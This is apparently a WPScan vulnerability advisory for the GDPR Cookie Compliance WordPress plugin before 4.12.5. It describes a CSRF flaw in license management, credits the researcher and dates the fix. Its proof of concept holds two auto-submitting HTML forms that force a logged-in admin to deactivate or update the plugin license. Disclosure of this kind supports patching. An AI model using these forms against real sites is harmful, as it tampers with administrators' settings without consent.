WordPress Plugin Vulnerabilities

GDPR Cookie Compliance < 4.12.5 - License Update/Deactivation via CSRF

Description

The plugin does not have proper CSRF checks when managing its license, which could allow attackers to make logged in admins update and deactivate the plugin's license via CSRF attacks

Proof of Concept

Make a logged in admin open a page with the code below

To make them deactivate the license
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=moove-gdpr_licence&tab=licence" method="POST">
        <input type="text" name="gdpr_deactivate_license" value="1">
        <input type="submit" value="submit">
    </form>
</body>


To make them update the license (requires a valid license)
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=moove-gdpr_licence&tab=licence" method="POST">
        <input type="text" name="moove_gdpr_license_key" value="valid-license">
        <input type="text" name="gdpr_activate_license" value="1">
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

Fixed in 4.12.5

References

Classification

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Submitter
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-08-07 (about 9 months ago)
Added
2023-08-07 (about 9 months ago)
Last Updated
2023-08-07 (about 9 months ago)

Other